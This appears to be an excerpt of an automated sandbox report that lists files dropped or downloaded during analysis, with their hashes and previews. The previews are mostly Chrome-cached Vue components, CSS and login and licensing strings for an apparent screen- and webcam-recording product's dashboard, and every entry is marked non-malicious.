Preview:	L..................F.@.. ...$+.,......._....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IBY.!....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBY.!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBY.!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBY.!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBY.!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:13:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9940667992249215
Encrypted:	false
SSDEEP:	48:8Q7t0daST6el9H7idAKZdA1duTrehOuTbbiZUk5OjqehOuTbwfy+yT+:8E+fYTYTbxWOvTbwfy7T
MD5:	13E06C3FD8282FECE857A8F2DFEA6615
SHA1:	1EB141F07F4903E0188441C30FA8C77531960F0D
SHA-256:	D39227CF4353039395FCED2E41E8AC69678640D65174639A5143384726987EC3
SHA-512:	575A40394CD8122CAE2DB03C3EE8BC28FF77D8A5BF1EA9473A4EC14657CB58A07F22FFD30D386E53F7EA72FC91DA59D4DD6D0539429CC6A8B5D5F7C51C7A85F2
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Nr_....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IBY.!....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBY.!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBY.!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBY.!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBY.!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 636

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 27077
Category:	downloaded
Size (bytes):	7285
Entropy (8bit):	7.964038684015041
Encrypted:	false
SSDEEP:	192:TvxMGwo9hFNrNNXizl2Bcj94aps9y5aW2CHkz92mDXnjrVo75OKc:7aboh57AL94ly592CmFXidJc
MD5:	F687E94F4D455BA119D2187B14A884AE
SHA1:	5206BDA3E1959F6A7369D33171F9AF76F92C21E2
SHA-256:	5D18275C9AC22E917CEA324C250F54D9F6A1899BAB0EFBDF3739A6AB181BE5A3
SHA-512:	1EA801D2E9BD5C4A3FAD19776270D971A159B28B52AF0369D208D6FFC0A5F81BF0CD8B8CA2379B1C75E366694DBE4B1ED1C7CBB78137F61829A8AC38B54D93CA
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-08b2a987.js
Preview:	............n.V...Sp..v.ka....!..$.;..%.......6...,.J....'....{I.".K.v:."......fM..Iq..\....S...O..k......../....}...\|......O]}.>.O.6u.a...GK..UE.3..usF..az.m...0.]...&o.[../..Y.L...i...0..U...0....M[.RwBy...8...Orq.>+..H..o:....o.f}t.>lRw...).O....J.3?o.f..jrfu.0mX.K:m....U_..zN.M.([f.#{PWeM.w.\,...V..^...m.q..6u..../O..w..Y...{x.~QVV..w}.}x5\|..q........v..a...J...H...I...~..o..5....._.......G.'.{.=k.F......>...\|..}..T....6....e..TX..K......,g[.S.r..l..\|."..O...-...G...i....`.XhN.....sIb..u...2k..K.i.WW....T.u.7,`.w..R.g.H.\Y.i.G....f.Z...mE...\.}...C>..ZgW.,..E....:gSR...N....,.8.).YV...nU..l;.M."18(...y...d..n.lV..[n.:............p.E[$..:..u.(.y..6.K.ErvR... Yy.....v..f.%..m%I.,....~..]z..W.l.$.E.Y3.L..@.J.:O.4....'S5..Kj....@W..,...N^..}.n....DLz..l....v...J3JJ..o.Q...^R8mY....&..[..<s..7a.Y.<c.r7.xV.N/.WE2...Vo$ci..Z..!../.b_.&.-N.en..7.\|s...#.<.3.\....?.nY..;OVy.gxa....6....zy.t.j..;..V.K.?....m..o...X6.CI

Chrome Cache Entry: 637

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1184)
Category:	downloaded
Size (bytes):	1185
Entropy (8bit):	5.12883411542056
Encrypted:	false
SSDEEP:	24:tXpVrWpEqCFsoYkSwdmdgkvIEfE77N/VJpYvfEvp/7N7Oev:H5sbHoYVAkgEfi7bSf0J7p
MD5:	5712F506A0802DFB152E99CC1021EEAF
SHA1:	34A3770659421BBCE2AC882C21B59D51A6DF9D02
SHA-256:	4CDBFB3A255C3D881C885043AD25EF68BDFD324746706DA6DB3C0D077C90348B
SHA-512:	74A4D892433E7A98298749F354B9462B3EF59725D338EC78167B4A299FF368292FA905FF5C229331A88506F695983C5A1FDA50BE323EDD768409C0BD6DA770D1
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js
Preview:	import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"default"},type:{default:"button"},loading:{type:Boolean},isInline:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},isCircle:{type:Boolean,default:!1},circleSize:{},hasShadow:{type:Boolean,default:!1},moreRounded:{type:Boolean,default:!1}},emits:["onClick"],setup(y,{emit:r}){const o=()=>{r("onClick")};return(e,c)=>e.isInline?(n(),i("span",{key:1,class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline}]),onClick:t(o,["prevent"])},[s(e.$slots,"default")],10,m)):(n(),i("button",{key:0,type:e.type,disabled:e.disabled,style:u({width:`${e.circleSize}px`,height:`${e.circleSize}px`}),class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline,[l(a)

Chrome Cache Entry: 638

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1184)
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	5.12883411542056
Encrypted:	false
SSDEEP:	24:tXpVrWpEqCFsoYkSwdmdgkvIEfE77N/VJpYvfEvp/7N7Oev:H5sbHoYVAkgEfi7bSf0J7p
MD5:	5712F506A0802DFB152E99CC1021EEAF
SHA1:	34A3770659421BBCE2AC882C21B59D51A6DF9D02
SHA-256:	4CDBFB3A255C3D881C885043AD25EF68BDFD324746706DA6DB3C0D077C90348B
SHA-512:	74A4D892433E7A98298749F354B9462B3EF59725D338EC78167B4A299FF368292FA905FF5C229331A88506F695983C5A1FDA50BE323EDD768409C0BD6DA770D1
Malicious:	false
Reputation:	unknown
Preview:	import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"default"},type:{default:"button"},loading:{type:Boolean},isInline:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},isCircle:{type:Boolean,default:!1},circleSize:{},hasShadow:{type:Boolean,default:!1},moreRounded:{type:Boolean,default:!1}},emits:["onClick"],setup(y,{emit:r}){const o=()=>{r("onClick")};return(e,c)=>e.isInline?(n(),i("span",{key:1,class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline}]),onClick:t(o,["prevent"])},[s(e.$slots,"default")],10,m)):(n(),i("button",{key:0,type:e.type,disabled:e.disabled,style:u({width:`${e.circleSize}px`,height:`${e.circleSize}px`}),class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline,[l(a)

Chrome Cache Entry: 639

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (522)
Category:	downloaded
Size (bytes):	523
Entropy (8bit):	5.04570304661497
Encrypted:	false
SSDEEP:	12:fjj6Xna2GHXmtooSfih/Se2FheecfhDlrWHy+:ff6Xa2GHUSf8/n2FheecfhxrWHy+
MD5:	4961C7FAF74F272F4B3832CB9B803374
SHA1:	D9E302928FC7CBB2A32B499A2928623478CC2F0B
SHA-256:	F807B11AFDDA15D257A20773E7D480CF9F8269C2ABBA6754356F3D6DC65D592B
SHA-512:	35584A4E7E3E3CEB248AD323CC7BD39ECE6CF9856F9F4210906BAA9FBB601C9DFBACC7C2621044BB225320F1D56653DFAAB48DE7CEACB33FD3FB0CADBECE8F50
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/loop-c45f0f1e.js
Preview:	import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.24v.677L17.722 19 19 17.722zm-5.145 0a3.854 3.854 0 0 1-3.86-3.86 3.854 3.854 0 0 1 3.86-3.859 3.854 3.854 0 0 1 3.859 3.86 3.854 3.854 0 0 1-3.86 3.859"},null,-1),a=[n];function c(r,l){return e(),o("svg",s,[...a])}const _={render:c};export{_ as default,c as render};.

Chrome Cache Entry: 640

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.715705921334956
Encrypted:	false
SSDEEP:	3:lH4Vg0CwERKAAIx/fQxAUEm5JZHJPpRKrUrKzAdgbDn:l30Cw4MYoxJfHhpAArKzAaX
MD5:	738B618755592A2FB11C090833DAA6FF
SHA1:	985ED99CF7A1BED24569735A33B757531D027AE3
SHA-256:	BA59C56764D29D3B0C21BFB12D2F7AE92E745420F214B3B3DC52D31712301E39
SHA-512:	5CADFC6D7594CFD29CCF8539F35FDFC6B5B39525235DD38F1CBE0A49D0FB67D417AFBA1C2B0ACCEBE7C6F06C5FC9951CC167BB37F25F05D9F8E3313E5C27D42C
Malicious:	false
Reputation:	unknown
Preview:	const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};.

Chrome Cache Entry: 641

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (612)
Category:	dropped
Size (bytes):	613
Entropy (8bit):	5.08267772798313
Encrypted:	false
SSDEEP:	12:tGYt6XJqt4oiYk5xURvnYgdMVB1K7xNFn40EffoCT/evn:tGYt6XYt4oiYkXURvn7MRwxjifZ7ev
MD5:	2DAF2E8244A82CE2D18896703255F110
SHA1:	256AFE217B8C4014D87643C68AE6D53FA7DF59F5
SHA-256:	7299EB78A78C169241ADE88D784BAE2EA7207E00CBC18A98C35DB237DD0EB144
SHA-512:	B7BFCC34C3639A5B6A68E9D190D83894686413FCFA1E3242809D3F4ED6697BB25B2547176ECD03044753945A0E769CF513D61C69F274DE6926DD7BFF5B0229AD
Malicious:	false
Reputation:	unknown
Preview:	import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase:{type:Boolean,default:!1},hoverLink:{type:Boolean,default:!1}},setup(n){const a=n,o=r(()=>[e.text,e[a.size],e[a.color],{[e.bold]:a.bold,[e.uppercase]:a.uppercase,[e.hoverLink]:a.hoverLink}]);return(s,i)=>s.oneRow?(t(),f(d,{key:1,class:l(o.value),text:s.text},null,8,["class","text"])):(t(),c("span",{key:0,class:l(o.value)},u(s.text),3))}});export{k as _};.

Chrome Cache Entry: 642

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	97
Entropy (8bit):	4.951184270366716
Encrypted:	false
SSDEEP:	3:8yXjE9+eAIJ6GeNJ1VyumOw0/OUn:8yW6Gej1VTOU
MD5:	3AA24E4B0CE2D0A271E1A193951B6655
SHA1:	9F940B9FFAB5F9BAC8AAF68C1B5648FEE1D51E6E
SHA-256:	FD9601A773EAEEA1B5B30EDA082FF58FD2CAFB341E6239069E87B8D5048DA2D8
SHA-512:	B654D3ABF5C5DEA0561B11058F22B9A052C8567E67ADCB73273B445D29ABAFC0DABD9D3D1E89816E551D2DD72EBC3C21571237D635AFCB6023FA6D3D1E2D76A9
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate-fd9601a7.css
Preview:	._6ptc-v1o{display:flex;justify-content:center;align-items:center;width:100%}.eTUt1vSM{gap:.4em}.

Chrome Cache Entry: 643

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2465)
Category:	downloaded
Size (bytes):	2466
Entropy (8bit):	5.426086826070174
Encrypted:	false
SSDEEP:	48:Je9Al3AZl1K2ltbPCPZQAtXAL7APmHmT84Rtj09LOv:Jl3AZXKYtrA+AtXAvAPsmwStjH
MD5:	97ED63B4A13DD52ED16E3FA72D9C8279
SHA1:	EAF9127A88CF66BE486FCA25238B286269B75B79
SHA-256:	CA236C001E8BB9D47FE833AF3F70E9A663E01BC967E5E89AE2F8EF82F5BE0929
SHA-512:	C2B728D090AAE952E8365374EA723772C801C07C6C6E8F232C3ABF335149B3E6B4A3E8A37172B92372004FA160BD2B5FCDF6C73185255E72B7222A7CC22C6668
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button-ca236c00.css
Preview:	.g1jDENuQ{display:flex;transition:.3s ease;border-radius:10px;-webkit-user-select:none;user-select:none;max-width:100%;text-align:center;cursor:pointer}.g1jDENuQ svg{transition:.3s ease}.kn3-jpa8{opacity:.8;cursor:progress!important}.pi1aSgqN{opacity:.4;cursor:not-allowed}.Yx2mIjN5{border:1px solid var(--primary);color:var(--primary)}.Yx2mIjN5 svg{fill:var(--primary)}.Yx2mIjN5:hover:not(.kn3-jpa8):not(.pi1aSgqN){background-color:var(--primary90);color:var(--app-text-inverse)}.Yx2mIjN5:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--app-text-inverse)}.GQTXnPVh{border:1px solid var(--card-border);color:var(--app-text);background-color:#fff}.GQTXnPVh svg{fill:var(--app-text)}.GQTXnPVh:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--app-text-secondary)}.Spt6Oo9A{border:1px solid var(--primary);color:var(--primary);background-color:#fff}.Spt6Oo9A svg{fill:var(--primary)}.Spt6Oo9A:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--primary80);border-color:var(--primary80)}.Spt6Oo9A:hove

Chrome Cache Entry: 644

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (773)
Category:	downloaded
Size (bytes):	774
Entropy (8bit):	4.740473361173796
Encrypted:	false
SSDEEP:	24:LXHnC5XfdkKVOHVOFkBgj4M4lH7858pE2k1SGdXyY7:jHCJfdlVOHVOFk44M4lHoOpSX9
MD5:	C7296BD66C57AFFFAF695D2BE2EB436C
SHA1:	D616816FE7D6DC660D731F17049741D0F5253573
SHA-256:	1F17097282D14F7642E97BEDB6F8CDB10DDFFA20029AAAB50A51D397CE8DF34A
SHA-512:	CEB26AA02C6476DF4EAF30C933F99C14EC93BF6A8A418B16762501611C94AD9179F36B81C3CE120368F101DE0630A4497A2566009350E8EC4F1DDF120C89C056
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-ef960fb7.js
Preview:	const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be used. Please try another one.":"This email cannot be used. Please try another one.","Account does not exists":"Account does not exists","Incorrect password":"Incorrect password","Success! Getting data...":"Success! Getting data...","Password Field cannot be empty":"Password Field cannot be empty","E-mail Field cannot be empty":"E-mail Field cannot be empty","Field cannot be empty":"Field cannot be empty","Create a password":"Create a password"};export{o as Email,s as Login,t as Password,e as Register,a as default};.

Chrome Cache Entry: 645

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 184 x 184, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3029
Entropy (8bit):	7.775466271259918
Encrypted:	false
SSDEEP:	48:trqMHw1fogNoolwWy7d/fB/yKv8EwIgr4/0aMsVYU39z9p39AWToe8JhKtbmrLNV:tGAYfTlYH/Bv8dZc/04VYA9n3eWb8Ho6
MD5:	175BFAD4569B48687A15D43A4E9BB617
SHA1:	E28A5AC7818D8ACEDA0D2DE2C20DD922923C3BA5
SHA-256:	F97E3C0058E3352D1F3789F40CB76DBF2C6C085AFA7535BD38F4970F884B2A45
SHA-512:	658CC310C2A8FDBB32D48487CC7373B7D559AE55CB566C3669724F71ED9D86108F63E7A42B191A2A70CBCA47960E2591F7353261DCF5F0556AEDF1AB9F2D1501
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............P3&.....gAMA......a.....pHYs..!7..!7.3X.z....tEXtSoftware.paint.net 4.1.6.N.....SIDATx^..q.F....C....C..NeI....@.@.`......C....n......nw.3..y_.W.jqw...1..w........uY(.e.7.......-.....2.e.<.V....GX....y...Z.pZ.2o.aQ+.Nk[..#,je.im.y.E..8.m.7.......-.....2.e.<.V....GX.........OtN....@.y...Z].O.yG...e....-.y.E..8....0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.x0...O.........?=......+..40..H..sZ..6.........0.A..9..p..\|..\R.~.o...<.i]...U..d.....@nM..;...0..H;....NC.0.x..;...-.....v..P-.....2....C.0.x.R..B...[..<.2.K..6hlW-.....A;...E.....e...-..3[..<0.....W9+..a.'!m.....:[..O.L-..>13.0.8Y...0...".0.8y..-..NT...0...H-..N...0...zma.6..?..GX...Ao-..2o.aQ+.>...07-.....2...a..-.....2.1.}.k.S..#,je.cqmaz...y.E..x\.~.).....z..\|..........y...Z.._..!y.."oG.9g.0e.<..=...,W..].'.Z.2o.aQ........E....GX.Z#.WedH.....-L.7....f.7.....Z.2o.aQk..S..la.bO.S..

Chrome Cache Entry: 646

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (3701)
Category:	downloaded
Size (bytes):	3702
Entropy (8bit):	5.446443546204777
Encrypted:	false
SSDEEP:	48:rxNEM05e7EQWJ0uHyGenR6UPQGZysqPEmoMABn3PuugCimdAFXPXBfGJ19N5D:VNEM0e75W0R5QGSPEmJqfJggAFXP+rl
MD5:	93A5A2F50CE859E24BFF9D45674F6E7B
SHA1:	46410E20EFC5F332CA5787D071391DB80F06981A
SHA-256:	B4CA5BF04016A11DD1B6A5499CF1F01D704700EF13832C027D56797012D76632
SHA-512:	209041550C13F4E90A2DF87E4FAA9480D8F681A2844ADA211AD6DDF3A225CF55C86EB805A584FCB08A2453165AE6890447EA70A91E1E8FE0253E64D5EEC23FE7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js
Preview:	import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-ztRySNh",X="Ftt0CpWQ",A="_4aI8AqCH",R="WnNoxKKH",P="a6kY8aNX",Y="_-9LXnRIR",H="F8HcYjNr",T="StnNIJM1",V="EKAf0gVE",_="vzGZS5BU",q="YJawxt4q",D="J-FFIdf3",K="MPqoi-hk",L="-XPrybcb",U="W-vei4th",z="cXuVytYF",$="uck8wclE",J="_0LSdgwM5",O="_0a05eMPx",Z="_73fp8tGN",j="_9mUdv-E5",G="_5tXXmYiP",Q="_15qHZEB6",s={"input-wrapper":"-ztRySNh",inputWrapper:W,"input-wrapper-search":"Ftt0CpWQ",inputWrapperSearch:X,"input-wrapper-disabled":"_4aI8AqCH",inputWrapperDisabled:A,input:R,"input-selected":"a6kY8aNX",inputSelected:P,"input-selected-focused":"_-9LXnRIR",inputSelectedFocused:Y,"input-search":"F8HcYjNr",inputSearch:H,"input-no-bottom":"StnNIJM1",inputNoBottom:T,error:V,headShake:_,success:q,pulse:D,placeholder:K,"placeholder-success":"-XPrybcb",pl

Chrome Cache Entry: 647

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (628)
Category:	dropped
Size (bytes):	629
Entropy (8bit):	5.408519312247252
Encrypted:	false
SSDEEP:	12:M5WsR75UQOHXu8jeAYJMngYRde4HL1DBVTUojE0uymy:M5/p99JMngYZHZDBbfuymy
MD5:	7CB321EE79F0127E78FAD017F97285AA
SHA1:	5921A3AFA7B59C1A69F214A592F5290A9AA5A080
SHA-256:	2BF0E6089F8E9819E3CAA315D3C024148EE6D53411450118363668A0B9F2F6D5
SHA-512:	E1994D07BDF15F40ACB2E1F35A3738BF24A909C6FEF2D0513D2FBBD0A0DC9A434C96AE9699C8497E0EECBD1229CC066B11A5B6413F8DF608B222FE07A61D6BC9
Malicious:	false
Reputation:	unknown
Preview:	const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",D={button:e,loading:o,disabled:d,"bordered-primary":"Yx2mIjN5",borderedPrimary:r,"bordered-filled":"GQTXnPVh",borderedFilled:n,"primary-filled":"Spt6Oo9A",primaryFilled:s,"bordered-secondary":"RmDlDtP1",borderedSecondary:c,default:"JCiXG-DG",success:t,clear:l,xs:i,sm:a,tn:m,md:b,lg:y,xl:p,inline:h,circle:u,shadow:x,"more-rounded":"eIH6eshW",moreRounded:P};export{D as c};.

Chrome Cache Entry: 648

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (612)
Category:	downloaded
Size (bytes):	613
Entropy (8bit):	5.08267772798313
Encrypted:	false
SSDEEP:	12:tGYt6XJqt4oiYk5xURvnYgdMVB1K7xNFn40EffoCT/evn:tGYt6XYt4oiYkXURvn7MRwxjifZ7ev
MD5:	2DAF2E8244A82CE2D18896703255F110
SHA1:	256AFE217B8C4014D87643C68AE6D53FA7DF59F5
SHA-256:	7299EB78A78C169241ADE88D784BAE2EA7207E00CBC18A98C35DB237DD0EB144
SHA-512:	B7BFCC34C3639A5B6A68E9D190D83894686413FCFA1E3242809D3F4ED6697BB25B2547176ECD03044753945A0E769CF513D61C69F274DE6926DD7BFF5B0229AD
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js
Preview:	import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase:{type:Boolean,default:!1},hoverLink:{type:Boolean,default:!1}},setup(n){const a=n,o=r(()=>[e.text,e[a.size],e[a.color],{[e.bold]:a.bold,[e.uppercase]:a.uppercase,[e.hoverLink]:a.hoverLink}]);return(s,i)=>s.oneRow?(t(),f(d,{key:1,class:l(o.value),text:s.text},null,8,["class","text"])):(t(),c("span",{key:0,class:l(o.value)},u(s.text),3))}});export{k as _};.

Chrome Cache Entry: 649

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1097)
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.801883004252557
Encrypted:	false
SSDEEP:	24:pIDlt6Rqz5Rqz9cujSPhQsF+a2cG2DB/pzOpzDErt7:d0EY/BOBDG
MD5:	01CEB283B00E59B25F2283787D5FBCFC
SHA1:	12503D8DC4A1904F39A2BE105CD2BEF151464B80
SHA-256:	EFAC77214359588EE656CE42F52A545423480B5C194894B4B3237DFA27C0BF4B
SHA-512:	533636F230CE0236E8E248CB0A26593DEBBD6B88DB6E054822E831203EE15EDE59A00D01FCE8FE422535E826F6F4B865599FCB9E7FF6EF0593B0B2E736B0B273
Malicious:	false
Reputation:	unknown
Preview:	const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please purchase a license to access your data","Buy 1 PC for 12 months for $":"Buy 1 PC for 12 months for $","DISCOUNT {0}":"DISCOUNT {0}","Computers count":"Computers count","101 and more - ":"101 and more - ","21-100 PC - ":"21-100 PC - ","1PC per month":"1PC per month",convenient:o,"3 Months":"3 Months","6 Months":"6 Months","12 Months":"12 Months","24 Months":"24 Months","1PC for 12 Months":"1PC for 12 Months","1PC for 12 Months +":"1PC for 12 Months +","Do you have a discount coupon?":"Do you have a discount coupon?","Discount coupon":"Discount coupon","Coupon is applied":"Coupon is applied","Apply coupon":"Apply coupon","Includes Screen recording, Webcam recording, Face recognition, Call recording":"Includes Screen recording, Webcam rec

Chrome Cache Entry: 650

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 1269714
Category:	dropped
Size (bytes):	431923
Entropy (8bit):	7.998299964648713
Encrypted:	true
SSDEEP:	12288:P1cMzxy3PTXjtB9x4MBGbeULSeqpYsZ18yGeHa+:P1cmyPntBr4aXeS7prZXr
MD5:	9616FB894D93BDC7CC828B297B8D4389
SHA1:	160666E391BDE76FFCAAF004B25236CBBD4C6C7E
SHA-256:	C489F83CB93D7D8AC95FBC0C51D2C9690945539452B1965FE05557E643A01A83
SHA-512:	8D89910B126F30D10CD601B70D7FE11597DFB00983D824DE4A5B5B5A3E80E9047BDB5FBA5C35122155E73B19C9C5366147D887C09CADFA202E0A57475DBD73B7
Malicious:	false
Reputation:	unknown
